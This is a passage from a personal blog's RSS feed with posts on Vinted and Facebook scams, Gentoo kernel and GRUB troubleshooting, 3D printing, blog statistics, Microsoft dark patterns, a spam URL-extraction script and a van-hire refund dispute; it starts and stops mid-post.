   more out there, in fact it seems to never end. Americans may relate to this as multiple
   <em>
    yard sales
   </em>
   . As with all market places there are some people who charge a fortune and hardly sell anything and there are those who are more than willing drop the price to just get rid of old collectables to free up space.
  </p>
  <p>
   And the moment a market place gets big enough the parasites move in to prey on the unwary.
  </p>
  <p>
   There are various scams, not mention the basic
   <em>
    Caveat emptor
   </em>
   . It is very easy to see a bargain and try and snap it it up before anyone else, only to find that you did not read the description and you got exactly what you agreed to, but not what you wanted.
  </p>
  <p>
   The most well know scam on Vinted is the "paper plate scam". Where your order is delivered, but when you open the package there is only a paper plate.
Vinted tries to combat this by requesting the buyer select an "Everything is OK" button in the app before any money is transferred to the seller. This is no good for outright fakes, as the buyer may not realise before clicking the button.
  </p>
  <p>
   It is also risky for the seller. A buyer swears blindly that the parcel was not delivered or was damaged in transit. That last one swings both ways. I have had items delivered damaged and when I have followed the straight forward reporting process and provided photos of the damaged items, I have received a full refund. No idea if the seller got any money.
  </p>
  <p>
   The message from Vinted implied that is was the sellers responsibility to recover the money from the courier company.
  </p>
  <p>
   I did see a large number of what appeared to be bot behaviour. I would click on a really good bargain (yes, Funko Pops) the sale would be approved and strangely the status would immediately be set to
   <strong>
    Sent
   </strong>
   . Looking at the other items the seller had and there would
   <strong>
    ALWAYS
   </strong>
   be a least one Xbox/Playstation a selection of watches and ... a creepy Reborn doll. The scam is wait and see if the buyer notices or if the scammer can just claim to Vinted that the buyer is forgetting to click the "Everything is OK" button and to just release the money.
  </p>
  <p>
   Oddly all the prices on these items was never .00, which most second hand items are. You could see the patterns only if you were watching closely. For instance when viewing a non-scammers items, nearly all the backgrounds to the photos would be the same. The scammers having stolen the photos from different sellers would have wildly different backgrounds, quality etc.
  </p>
  <p>
   Vinted tries to match photos to ones it has seen before. This explains why all the bot photos have a 50px border of smudged pixels.
  </p>
  <p>
   I currently have the Vinted app limited to 30 minutes a day. That means after 29 minutes of use the phone screen turns monochrome and a message alerts that the app will shut. This is necessary to stop me scrolling for Funko Pops and then refreshing and refreshing and buying and buying.
  </p>
  <p>
   Finally the couriers. When you sign up for Vinted you get a discount on P&amp;P, but after that the price goes up and then it seems to go up again. There are various options a seller can use for their courier including ones that will deliver to postage lockers rather than your house. I currently opt heavily for the lockers to save a quid here and there.
  </p>
  <p>
   Is it safe? Well I have had 8 refunds, two from damaged items and 6 from sellers who did not send me anything. I have got a lot of great bargains and I am very happy with the value the app provides. I am slightly concerned about the fact that I have ordered over 30 times in the last 3 months...
  </p>
</description>
</item>
<item>
<title>networking goes bye bye after the kernel gets the boot</title>
<pubDate>Thu, 04 Apr 2024 21:34:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2024.html#p040420242134</link>
<description>
  <p>
   I have a list of steps to rebuild my linux kernel and the final one is to get the latest network card drivers and manually build them against the newly created kernel.
  </p>
  <p>
   If I forget I have no networking :(
  </p>
  <p>
   Which is why I was a bit confused after building a new kernel, following all my steps and rebooting. There was no network...
  </p>
  <p>
   So I installed the driver again and it instantly work ! :D
  </p>
  <pre><code>make install
</code></pre>
  <p>
   which runs
  </p>
  <pre><code>install -p -m 644 8192ee.ko  /lib/modules/6.6.21-gentoo/kernel/drivers/net/wireless/
/sbin/depmod -a 6.6.21-gentoo
</code></pre>
  <p>
   But interestingly, running
  </p>
  <pre><code>dmesg
</code></pre>
  <p>
   showed this message twice
  </p>
  <pre><code>module 8192ee: .gnu.linkonce.this_module section size must match the kernel's built struct module size at run time
</code></pre>
  <p>
   and Googling that showed a lot of results in the last few months :o
  </p>
  <p>
   Lots of other people had tried insmod-ing a module and got
  </p>
  <pre><code>insmod: ERROR: could not insert module /lib/modules/version/module: Invalid module format
</code></pre>
  <p>
   and then they saw
  </p>
  <pre><code>module 8192ee: .gnu.linkonce.this_module section size must match the kernel's built struct module size at run time
</code></pre>
  <p>
   in demsg
  </p>
  <p>
   So what if the kernel running at the time I compiled the newtwork module was different to one after I rebooted ...
  </p>
  <p>
   Yep, turned out that usually building a kernel and then compiling the drivers works just fine, even before a reboot.
  </p>
  <p>
   So I now need to update my notes to only compile the driver after a reboot. Or clean out config versions, but who is going to do that? :)
  </p>
</description>
</item>
<item>
<title>grub does what now</title>
<pubDate>Sun, 25 Feb 2024 12:25:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2024.html#p250220241225</link>
<description>
  <p>
   You know what I love? My computer not booting.
  </p>
  <p>
   Oh, wait, no. It's the opposite of that!!
  </p>
  <p>
   I take great pains to try and keep my system humming along, including doing regular updates and following the messages from said updates.
  </p>
  <p>
   So when Gentoo updated a load of packages as well as Grub, I thought I was prepared. Especially as I remembered having an issue with Grub's update
   <a href="Jul2023.html#p140720231133">
    last time
   </a>
  </p>
  <h3>
   Update message
  </h3>
  <pre><code> * Messages for package sys-boot/grub-2.12-r1:

 * For information on how to configure GRUB2 please refer to the guide:
 *     https://wiki.gentoo.org/wiki/GRUB2_Quick_Start
 * 
 * Re-run grub-install to update installed boot code!
 * Re-run grub-mkconfig to update grub.cfg!
 *
</code></pre>
  <h3>
   My interpretation of that message
  </h3>
  <p>
   Those
   <strong>
    exclamation marks !
   </strong>
   at the end of the
   <strong>
    Re-run
   </strong>
   instructions seem pretty definitive. So I had better run them!
  </p>
  <h3>
   My actions
  </h3>
  <p>
   As per my blog
   <a href="Jul2023.html#p140720231133">
    a case sensitive little grub
   </a>
  </p>
  <pre><code>grub-install --efi-directory=/boot/EFI
grub-mkconfig
</code></pre>
  <p>
   no errors!
  </p>
  <p>
   So ...
  </p>
  <h3>
   What happened next
  </h3>
  <p>
   The system would not boot :(
  </p>
  <pre><code>Loading Linux 6.1.19-gentoo ...
error: symbol `grub_is_shim_lock_enabled` not found

press any key to continue
</code></pre>
  <h3>
   What I did
  </h3>
  <p>
   Googling around I found a lot of conflicting advice.
  </p>
  <p>
   From disabling Secure Boot in your BIOS to simply selecting a different drive partition from the boot menu and running every command under that sun in between.
  </p>
  <p>
   Nothing was working, so I
  </p>
  <ol>
   <li>
    Created a bootable USB drive with the
    <a href="https://www.gentoo.org/downloads/">
     Gentoo minimal image
    </a>
   </li>
   <li>
    Found that my front panel USB ports are not recognised in the BIOS *
    <em>
     face palms
    </em>
   </li>
   <li>
    Used the ports on the motherboard directly
   </li>
   <li>
    mounted my /boot drive
   </li>
   <li>
    manually fixed the file location issue
   </li>
  </ol>
  <p>
   (no chroot-ing or rerunning any grub commands)
  </p>
  <p>
   Before:
  </p>
  <pre><code>ls -Rl /mnt/sda1/EFI

/mnt/sda1/EFI/:
total 2
drwxr-xr-x 2 root root 512 Nov 28  2022 BOOT
drwxr-xr-x 3 root root 512 Jul 13  2023 EFI
drwxr-xr-x 2 root root 512 Nov 28  2022 gentoo

/mnt/sda1/EFI/BOOT:
total 132
-rwxr-xr-x 1 root root 135168 Nov 29  2022 BOOTX64.EFI

/mnt/sda1/EFI/EFI:
total 1
drwxr-xr-x 2 root root 512 Jul 13  2023 gentoo

/mnt/sda1/EFI/EFI/gentoo:
total 136
-rwxr-xr-x 1 root root 139264 Feb 24 23:12 grubx64.efi

/mnt/sda1/EFI/gentoo:
total 132
-rwxr-xr-x 1 root root 135168 Nov 29  2022 grubx64.efi
</code></pre>
  <p>
   Note the only file with a recent timestamp is in the
   <em>
    /mnt/sda1/EFI/EFI/gentoo
   </em>
   folder.
  </p>
  <pre><code>cp /mnt/sda1/EFI/EFI/gentoo/grub64.efi /mnt/sda1/EFI/gentoo/
</code></pre>
  <p>
   and now
  </p>
  <pre><code>ls -Rl /mnt/sda1/EFI

/mnt/sda1/EFI/:
total 2
drwxr-xr-x 2 root root 512 Nov 28  2022 BOOT
drwxr-xr-x 3 root root 512 Jul 13  2023 EFI
drwxr-xr-x 2 root root 512 Nov 28  2022 gentoo

/mnt/sda1/EFI/BOOT:
total 132
-rwxr-xr-x 1 root root 135168 Nov 29  2022 BOOTX64.EFI

/mnt/sda1/EFI/EFI:
total 1
drwxr-xr-x 2 root root 512 Jul 13  2023 gentoo

/mnt/sda1/EFI/EFI/gentoo:
total 136
-rwxr-xr-x 1 root root 139264 Feb 24 23:12 grubx64.efi

/mnt/sda1/EFI/gentoo:
total 136
-rwxr-xr-x 1 root root 139264 Feb 25 11:29 grubx64.efi
</code></pre>
  <p>
   Sync, umount and reboot
  </p>
  <p>
   ...
  </p>
  <p>
   IT WORKS!!!
  </p>
  <p>
   Apparently the grub-install command will add the
   <em>
    /EFI
   </em>
   to the end of the path specified in
  </p>
  <pre><code>grub-install --efi-directory=
</code></pre>
  <p>
   so
  </p>
  <pre><code>grub-install --efi-directory=/boot/EFI
</code></pre>
  <p>
   creates
   <em>
    /boot/EFI/EFI
   </em>
  </p>
  <p>
   but it didn't use to ...
  </p>
</description>
</item>
<item>
<title>1kg filament finally used up</title>
<pubDate>Sat, 17 Feb 2024 18:01:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2024.html#p170220241801</link>
<description>
  <p>
   Very quick progress post.
  </p>
  <p>
   I have finally used up a whole 1kg filament spool!
  </p>
  <p>
   Here are some relevant posts tagged from the last 3 years.
  </p>
  <ul>
   <li>
    <a href="Apr2021.html#p200420212105">
     random 3d printer
    </a>
   </li>
   <li>
    <a href="Apr2021.html#p220420212320">
     print fail fail and partial success
    </a>
   </li>
   <li>
    <a href="Apr2021.html#p250420211251">
     start to finish evolution of a 3d printed webcam cover
    </a>
   </li>
   <li>
    <a href="Apr2021.html#p250420211947">
     seeing the wrong print on an ender
    </a>
   </li>
   <li>
    <a href="May2021.html#p030520211144">
     benching an ender 3v2 with a optimal benchy
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p010220222219">
     setting up blender for 3d print modelling
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p010220222235">
     extruding projected text into blender meshes
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p020220221809">
     exporting correctly scaled stls for prusa slicer from blender
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p020220221814">
     how long is your gcode file name for the ender
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p020220221825">
     super slicing makes little difference to text
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p020220221956">
     four black disks and some spaghetti
    </a>
   </li>
   <li>
    <a href="Feb2022.html#p260220222146">
     three times happy update job learning and octopus
    </a>
   </li>
   <li>
    <a href="Apr2022.html#p100420221434">
     Docking a 3D printer with OctoPrint
    </a>
   </li>
   <li>
    <a href="Apr2022.html#p140420222138">
     blinking at the octoprint
    </a>
   </li>
   <li>
    <a href="Apr2022.html#p140420222222">
     a beehive of 3d printed coin holders
    </a>
   </li>
   <li>
    <a href="Apr2022.html#p140420222303">
     3d printing a motorcycling monk
    </a>
   </li>
   <li>
    <a href="Jun2022.html#p150620222148">
     just one more dragon head print
    </a>
   </li>
   <li>
    <a href="Jul2022.html#p270720222215">
     designing a printable dice tower with spiral staircase
    </a>
   </li>
   <li>
    <a href="Nov2022.html#p011120222241">
     an ankylosaurus called muffin
    </a>
   </li>
   <li>
    <a href="Jul2023.html#p140720231229">
     reprint and swap for pie safety
    </a>
   </li>
   <li>
    <a href="Jan2024.html#p210120241414">
     a 3d light bulb light pull
    </a>
   </li>
  </ul>
  <p>
   and some bonus posts from 2018
  </p>
  <ul>
   <li>
    <a href="Feb2018.html#p280220182254">
     huge 3d printing tiny hat error
    </a>
   </li>
   <li>
    <a href="Mar2018.html#p010320181855">
     I can have it made in solid gold
    </a>
   </li>
  </ul>
</description>
</item>
<item>
<title>year summary graphs and stats 2023</title>
<pubDate>Sun, 21 Jan 2024 20:28:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2024.html#p210120242028</link>
<description>
  <p>
   Finally it's time to summarise 2023 !
  </p>
  <h2>
   Statistics
  </h2>
  <p>
   number of posts
   <strong>
    42
   </strong>
  </p>
  <p>
   total tags
   <strong>
    2126
   </strong>
   (recorded in the system)
  </p>
  <p>
   of which were used in 2023
   <strong>
    284
   </strong>
  </p>
  <p>
   and of which were new in 2023
   <strong>
    83
   </strong>
  </p>
  <p>
   Top tags
   <br/>
   1. 14
   <a href="f-log/tagging/flog.xml">
    flog.xml
   </a>
   <br/>
   2. 5
   <a href="f-log/tagging/html.xml">
    html.xml
   </a>
   <br/>
   3. 5
   <a href="f-log/tagging/fail.xml">
    fail.xml
   </a>
   <br/>
   4. 5
   <a href="f-log/tagging/encoding.xml">
    encoding.xml
   </a>
   <br/>
   5. 5
   <a href="f-log/tagging/email.xml">
    email.xml
   </a>
  </p>
  <p>
   See the whole year in
   <a href="year2023.html">
    Year 2023 summary
   </a>
  </p>
  <p>
   See 21 years of posts in
   <a href="archive.html">
    The archive
   </a>
  </p>
  <h2>
   Graphs
  </h2>
  <p>
   Based off this raw data
  </p>
  <pre><code>"Month","Count","Length","Images"
"Jan",2,39,2
"Feb",2,15,0
"Mar",3,60,0
"Apr",3,19,0
"May",1,3,0
"Jun",1,3,0
"Jul",5,76,5
"Aug",7,28,0
"Sep",1,9,0
"Oct",8,72,0
"Nov",2,28,0
"Dec",7,67,2
</code></pre>
  <p>
   I can see there weren't a lot of images and that July and Oct had the longest posts.
  </p>
  <p>
   <img alt="summary graph 1" src="/home/rednuht/projects/flog/images/plot_2023.png" title="summary graph 1"/>
  </p>
  <p>
   The most images were in July.
  </p>
  <p>
   <img alt="summary graph 2" src="/home/rednuht/projects/flog/images/plot_log_tall_2023.png" title="summary graph 2"/>
  </p>
  <p>
   There were almost an equal number of images to posts in Jan and July, but Dec bucked the trend.
  </p>
  <p>
   <img alt="summary graph 3" src="/home/rednuht/projects/flog/images/plot_no_log_short_2023.png" title="summary graph 3"/>
  </p>
  <p>
   Focusing in on the length of posts.
  </p>
  <p>
   <img alt="summary graph 4" src="/home/rednuht/projects/flog/images/plot_no_log_short_part_2_2023.png" title="summary graph 4"/>
  </p>
  <p>
   Now I am wondering if I could do an article to post count analysis ...
  </p>
</description>
</item>
<item>
<title>a 3d light bulb light pull</title>
<pubDate>Sun, 21 Jan 2024 14:14:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2024.html#p210120241414</link>
<description>
  <p>
   OK, one more quick post before I run the summaries :D
  </p>
  <h1>
   Light pull 3D print
  </h1>
  <h2>
   Problem
  </h2>
  <p>
   Visitors were complaining about the long string light pull in the bathroom. I had got used to it and had a technique using multiple fingers to create friction.
  </p>
  <h2>
   Solutions
  </h2>
  <p>
   I decided to 3D print a new light pull. There is one at the bottom, but it's so low no one uses it.
  </p>
  <p>
   I could have cut the string and reattached the existing pull. Nah, that's no fun.
  </p>
  <p>
   I did want to design and print a 3D a stylised Mercury rocket module. But it was a little too detailed and I needed to complete this relatively quickly.
  </p>
  <p>
   What I settled on was a 360 degree symmetrical light bulb design.
  </p>
  <h2>
   Trial
  </h2>
  <p>
   The easy bit was drawing a Curve in Blender and then spinning it to create the bulb.
  </p>
  <p>
   I added a track for the string and a space for a height knot. Then I remembered how super glue instantly bonds with the PLA and decided to add some guide holes.
  </p>
  <p>
   <img alt="blender screenshot of light pull" src="/home/rednuht/projects/flog/images/3dprt_light_pull_xray.jpg" title="blender screenshot of light pull"/>
  </p>
  <h2>
   and Error
  </h2>
  <p>
   Print 1 resulted in half a bulb with the string track too small for the physical cord.
  </p>
  <p>
   Tweaking and print 2 had a larger track but still a bit too small. Print 3 had a much larger track and paired with print 2 worked perfectly.
  </p>
  <p>
   <img alt="light pull photo pieces" src="/home/rednuht/projects/flog/images/3dprt_light_pull_peices.jpg" title="light pull photo pieces"/>
  </p>
  <p>
   I then printed the disks I had used for the cutaways. Strangely they only slotted in so far before getting stuck. A few more prints at different thickness showed that the disk shape was at fault.
  </p>
  <p>
   Started trimming off the curved edges and the overall depth. Eventually I found something that worked "well enough".
  </p>
  <p>
   <img alt="prusa screenshot of light pull struct" src="/home/rednuht/projects/flog/images/3dprt_light_pull_insert_prusa.jpg" title="prusa screenshot of light pull struct"/>
  </p>
  <h2>
   Result
  </h2>
  <p>
   <img alt="light pull photo installed" src="/home/rednuht/projects/flog/images/3dprt_light_pull_installed.jpg" title="light pull photo installed"/>
  </p>
  <p>
   Installation involved gluing the cord to one side and waiting for it to cure, then adding a single support (two would not have helped) and gluing the second side.
  </p>
  <p>
   In the end it looks really interesting and works well.
  </p>
</description>
</item>
<item>
<title>microsoft dark patterns</title>
<pubDate>Sun, 21 Jan 2024 10:20:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2024.html#p210120241020</link>
<description>
  <p>
   I need to run the "last year summary" script, but first I have this
  </p>
  <h1>
   Microsoft, never change
  </h1>
  <p>
   <img alt="screenshot of microsoft dark patterns" src="/home/rednuht/projects/flog/images/microsoft_never_change.png" title="Microsoft dark patterns"/>
  </p>
  <p>
   Let's break that down.
  </p>
  <ol>
   <li>
    Instructions are to
    <strong>
     untick
    </strong>
    to stop receiving spam.
   </li>
   <li>
    Clear check boxes for subjects and sources of spam.
   </li>
   <li>
    But then the last box is a
    <strong>
     tick
    </strong>
    to stop receiving spam.
   </li>
   <li>
    But they have got the covered. It's not a dark pattern because there is a single pixel horizontal line that is light grey on a white background.
   </li>
  </ol>
  <p>
   Of course, I would prefer to just delete that email address from Microsoft, see below.
  </p>
  <hr/>
  <h2>
   History: Why am I here? (time for separate rant)
  </h2>
  <p>
   The kids got an Xbox One for Xmas many years ago. We were at grand parents and expected to stay for a while. Was very annoyed to find that although it came with physical disks, nothing would work without a logged in Microsoft account.
  </p>
  <p>
   I used my work Microsoft account and everyone was happy. Fast forward many many years later and I had left that company and Microsoft wants me to agree to policy updates.
  </p>
  <p>
   At some point in the intervening years I managed to switch the main email address.
  </p>
  <p>
   Click on link in email ... fight the Microsoft login system as it tells me the account I am logging into has a Work/Org or Home options. End up in Office 365, fight logging out and switching accounts. sigh
  </p>
  <p>
   Find numerous settings, none that seem relevant and notice that old company email address. Must be able to delete it ... NO! Which leads to the screen shot above.
  </p>
  <p>
   This might be a GDPR complaint. One of the tenants of GDPR is to insure that a company has the
   <em>
    correct
   </em>
   information on you. But I cannot be arsed.
  </p>
</description>
</item>
<item>
<title>email dissector added to claws</title>
<pubDate>Sun, 31 Dec 2023 22:29:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p311220232229</link>
<description>
  <p>
   I want to get more procedural when dealing with spam. I get
   <strong>
    a lot
   </strong>
   of spam and every now and then I want to digger deep and mess with the scammers.
  </p>
  <p>
   The first thing I need is to extract the URLs out of the emails.
  </p>
  <p>
   Claws to the rescue. I previously used Claws Mail to
   <a href="Mar2023.html#p260320232202">
    send an auto reply template from a specific address
   </a>
  </p>
  <p>
   It started simple and then got more
   <em>
    fun
   </em>
   :D
  </p>
  <pre><code>#!/bin/bash
#
# dissects and email file
#
# expects to be called from Claws Mail

filename="$1"

echo Dissecting $filename

grep -Eioz '"https?://[^"]+"' "$filename" | tr --delete '\n' | sed -re 's/"/\n/g' | grep -E --binary-files=text  "\w+"

read
</code></pre>
  <p>
   which is called via an
   <strong>
    Action
   </strong>
   with
  </p>
  <pre><code>    xfce4-terminal -T "Email dissector" -x ~/scripts/email_dissector.sh %f
</code></pre>
  <p>
   Which all does the following
  </p>
  <ul>
   <li>
    opens a terminal window titled "Email dissector"
   </li>
   <li>
    passes the selected email file name to my script
   </li>
   <li>
    which looks for
    <em>
     http
    </em>
    and
    <em>
     https
    </em>
    addresses
   </li>
   <li>
    z = ignore line breaks
   </li>
   <li>
    removes the resulting line breaks
   </li>
   <li>
    replaces the double quotes with line breaks
   </li>
   <li>
    removes blank lines from the result
   </li>
   <li>
    and waits for the user to press return (read)
   </li>
  </ul>
  <p>
   Works quite well and I might get it to do more in the future.
  </p>
</description>
</item>
<item>
<title>github repo jquery explusion and other enhancements</title>
<pubDate>Sun, 31 Dec 2023 20:45:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p311220232045</link>
<description>
  <p>
   After a couple of embarrassing demos that didn't quite work on a phone, I resolved to update a couple of my
   <a href="https://github.com/robgithub/">
    GitHub
   </a>
   repos.
  </p>
  <p>
   <img alt="example of the html5 eyeball code showing 12 different eyeballs all following the mouse" src="/home/rednuht/projects/flog/images/html5eyeballsx12.jpg" title="HTML5 Eyeball x12"/>
  </p>
  <p>
   <a href="https://github.com/robgithub/html5eyeball">
    HTML5 Eyeball
   </a>
  </p>
  <p>
   This seemed like a simple "add touch support", but turned into a remove JQuery and replace the colour picker widget.
  </p>
  <p>
   <img alt="example of the wheel of destiny being used to show food options" src="/home/rednuht/projects/flog/images/wheelofdestiny_food.jpg" title="Wheel of Destiny - Food demo"/>
  </p>
  <p>
   <a href="https://github.com/robgithub/wheelofdestiny">
    Wheel of Destiny
   </a>
  </p>
  <p>
   This was a different sort of job. People had asked to have an easier to configure and share Wheel. So after removing JQuery I added a URL builder and new page that took the values from the query string to render the Wheel.
  </p>
  <p>
   What was a pleasant surprise was not having to touch the core code in either repo. Only the example pages and links were changed.
  </p>
</description>
</item>
<item>
<title>i got scammed but it is ok</title>
<pubDate>Sun, 31 Dec 2023 19:46:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p311220231946</link>
<description>
  <p>
   This Xmas I got scammed! Yeah!
  </p>
  <p>
   The annoying thing was that it didn't trip my usually spot on bad-stuff radar.
  </p>
  <p>
   It all started on Facebook, in the pages of posts I saw something interesting and at what seemed a reasonable price.
  </p>
  <p>
   The advert felt high quality and the website also had a high production demonstration video. In fact none of the following were triggered.
  </p>
  <ol>
   <li>
    Unreasonably cheap price
   </li>
   <li>
    Some kind of timer or limited offer
   </li>
   <li>
    Technology that seems too good to be true
   </li>
   <li>
    A product that would excite a large audience
   </li>
   <li>
    Bad spelling, low quality website etc
   </li>
   <li>
    Odd url
   </li>
   <li>
    High price
   </li>
  </ol>
  <p>
   So I bought it for £35
  </p>
  <p>
   The first hint of trouble was the name on the transaction shown on my banking app.
  </p>
  <p>
   <strong>
    EBAY O*14-10905-12558
   </strong>
  </p>
  <p>
   (values changed in-case it links to me)
  </p>
  <p>
   It was nothing to do with EBay. Then it didn't turn up.
  </p>
  <p>
   But, Barclays were able to refund me in just a few days after reporting it.
  </p>
  <p>
   The reporting process was a bit onerous and obviously in place to stop frivolous charge backs. So I can live with that.
  </p>
  <p>
   A friend got scammed for £55 using Facebook Marketplace and their bank, HSBC has not provided a refund after two weeks. When chased, the response was that the investigation could take up to 6 weeks. Ouch!
  </p>
</description>
</item>
<item>
<title>hertz hurts a little less after partial refund</title>
<pubDate>Sun, 24 Dec 2023 22:48:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p241220232248</link>
<description>
  <p>
   A quick update on the
   <a href="Nov2023.html#p221120231914">
    Hertz Hurts
   </a>
   post from last month.
  </p>
  <p>
   They agreed to refund the over-time fee and to pay back the fuel... minus a £15 processing fee.
  </p>
  <p>
   I will not be following this up any further. It has been too painful and such a time sink.
  </p>
  <p>
   The refund notice detailing the processing fee included a block of text from the Terms and Conditions that state I owe it.
  </p>
  <p>
   I still cannot quite get over the fact that Hertz knows nothing about Hertz 247 and has never heard of a customer getting confused about them being separate teams. Even though the human I did speak to stated that they are the same company.
  </p>
  <p>
   ¯\__ (ツ)_/¯
  </p>
</description>
</item>
<item>
<title>tis the season to give out your email password</title>
<pubDate>Fri, 22 Dec 2023 13:33:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p221220231333</link>
<description>
  <p>
   This made me giggle.
  </p>
  <pre><code>Dear Customer,
 
Tracking Number: Included in the Attached file
Packaging type:       Standard     
Number of Pieces:         2 pieces  
Weight:        10.40 kg.
File Password : Your Email Password should be valid to access the file.
</code></pre>
  <p>
   Sadly some people will fall for it.
  </p>
</description>
</item>
<item>
<title>Eolia a frustratingly magical vr world</title>
<pubDate>Sun, 03 Dec 2023 13:28:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p031220231328</link>
<description>
  <p>
   I have been playing a rather odd VR gem called Eolia.
  </p>
  <p>
   Bought it on the Quest 2 on deal back at the beginning of the year and could not play it.
  </p>
  <p>
   The first thing it asks you to do is reach forward and bang a large drum. Unfortunately I could not reach far enough to do so. But now I have moved , I can...
  </p>
  <p>
   The game is Hands-First, which immediately hits some interesting problems.
  </p>
  <p>
   Depending on how your room is laid out, hand tracking might only work in certain directions or angles.
  </p>
  <p>
   So, should you bother with this game?
  </p>
  <p>
   YES!
  </p>
  <p>
   It is truly magical, but it has a steep learning curve. Nothing is clearly explained, but this adds to the adventure(*) and the overwhelming sense of accomplishment when you conquer some insurmountable obstacle.
  </p>
  <p>
   (*) The caveat is the hand tracking can go off when you least expect it. I was climbing a vine, hand over hand and the tracking decided my hand was no longer holding on. That vine takes over a minute to climb to the top.
  </p>
  <p>
   There are a number of other similar examples I could give, but I don't care. I keep coming back and trying one more thing.
  </p>
  <p>
   Annoyance number two is the "powers". You can drink potions you find to enhance yourself, but they run-out after a short amount of time and potions (nothing) re-spawns. So, you will want to hoard them.
  </p>
  <p>
   The tutorial introduces you to a flute that when played correctly can give you the same powers. But, and it's a huge But, you don't not get the flute for a very long time and I was worried that I had screwed up the game because of the lack of access to this item.
  </p>
  <p>
   The flute powers also run-out, but not quite so quickly. The flutes problem is that some tunes are quite complex and will take multiple attempts to perform correctly. The whole time you are trying to add "double-jump" your "torch" is running out.
  </p>
  <p>
   There is some balance in this frustration to value of working with the game to experience the world and lore. I think I am, maybe, to used to NPC hand-holding my every step. Though I have completed actions that should have triggered results only to find I was in ever-so slightly the wrong place.
  </p>
  <p>
   Graphics are a mixed bag. Some text is difficult to read on the quest2, some areas are very blocky and angular and others are expansive and detailed.
  </p>
  <p>
   There are lots of problems with using your hands correctly to bring up the inventory etc but I am not quitting yet!
  </p>
</description>
</item>
<item>
<title>adb trumps mtpfs for photos</title>
<pubDate>Sat, 02 Dec 2023 23:52:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2023.html#p021220232352</link>
<description>
  <p>
   I wanted to get some photos off my Pixel 7 Pro onto Gentoo.
  </p>
  <p>
   In the past I used a USB stick that has both a USB type C and USB type A connector, transferred them from the phone, then unplugged and plugged into my Linux machine.
  </p>
  <p>
   It worked, but was janky as hell. I knew there was a better way.
  </p>
  <p>
   And slightly annoyingly, I am pretty sure I did this before and forgot to write any of the instructions down :(
  </p>
  <h2>
   this is for reference ONLY!
  </h2>
  <p>
   <a href="https://wiki.gentoo.org/wiki/MTPfs">
    wiki.gentoo.org/wiki/MTPfs
   </a>
  </p>
  <p>
   run groups and make sure your user is in plugdev
  </p>
  <p>
   then just
  </p>
  <pre><code>mkdir /tmp/pixel
mtpfs /tmp/pixel
</code></pre>
  <p>
   takes at least 30 seconds
  </p>
  <pre><code>ls /tmp/pixel
ls "/tmp/pixel/Internal shared storage"
ls "/tmp/pixel/Internal shared storage/DCIM"
ls "/tmp/pixel/Internal shared storage/DCIM/Camera"
</code></pre>
  <p>
   and ...
  </p>
  <p>
   There are no files :(
  </p>
  <p>
   <strong>
    unmount
   </strong>
  </p>
  <pre><code>fusermount -u /tmp/pixel
</code></pre>
  <p>
   /tmp will be destroyed on the next boot
  </p>
  <h2>
   What actually worked
  </h2>
  <p>
   (after putting the phone in to Developer mode and enabling USB debugging)
  </p>
  <pre><code>adb pull /sdcard/DCIM/Camera/ .
</code></pre>
  <p>
   downloaded all the files from the Camera folder on the phone to the current folder
  </p>
  <p>
   Must add lots of tags to this post so I don't lose it !
  </p>
</description>
</item>
<item>
<title>hertz hurts hertz</title>
<pubDate>Wed, 22 Nov 2023 19:14:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2023.html#p221120231914</link>
<description>
  <h1>
   Hertz Hurts Hertz
  </h1>
  <p>
   I hired a van when moving and had friends helping. This all seemed very straight forward, with the only major problem being that I was moving on the
   <strong>
    hottest day of the year
   </strong>
   .
  </p>
  <p>
   Move went OK and at one point I increased the rental time, which went through no problem. When I came to return the van I remembered the clause that the renter had to ensure that the tank was at least a 3rd full.
  </p>
  <p>
   The van even came with a fuel card to pay with! The tank was ever so slightly less than a 3rd so I went to the petrol station and filled up(*).
  </p>
  <p>
   Went in with the fuel card and tried to pay numerous times, declined. Annoyed, I paid with my own money and made sure to keep the receipt.
  </p>
  <p>
   Then I got back to the drop off point 5 minutes late because of all the hassle(*)
  </p>
  <p>
   Got the bill via email and immediately started trying to contact hertz to get my money back for the fuel and the late fee.
  </p>
  <p>
   <strong>
    Stage 1: Contact Hertz.
   </strong>
  </p>
  <p>
   There are no phone numbers that led to people and everything states you must go through an email address.
  </p>
  <p>
   Send email with details and get a classic "
   <em>
    we have received your message here is a reference number, we will get back to you
   </em>
   "
  </p>
  <p>
   <strong>
    Stage 2: Hertz can not find my booking.
   </strong>
  </p>
  <p>
   They ask for driving licence and other details.
I provide these along with the invoice number
   <strong>
    Hertz
   </strong>
   had sent me.
  </p>
  <p>
   Nothing and then...
  </p>
  <p>
   <strong>
    Stage 3: The confusion.
   </strong>
  </p>
  <p>
   They ask "is this about the AdBlue oil change?" and the only hire information they had was for me 4 months prior !?
  </p>
  <p>
   <strong>
    Stage 4: The end part 1.
   </strong>
  </p>
  <p>
   I send a huge, humongous email detailing every single email and text I had received since I signed up until now. This included
   <strong>
    TO
   </strong>
   and
   <strong>
    FROM
   </strong>
   addresses,
   <strong>
    SUBJECT
   </strong>
   and the
   <strong>
    Datetime
   </strong>
   stamps.
  </p>
  <p>
   -
   <em>
    crickets
   </em>
   -
  </p>
  <p>
   <strong>
    Stage 5: The humiliation.
   </strong>
  </p>
  <p>
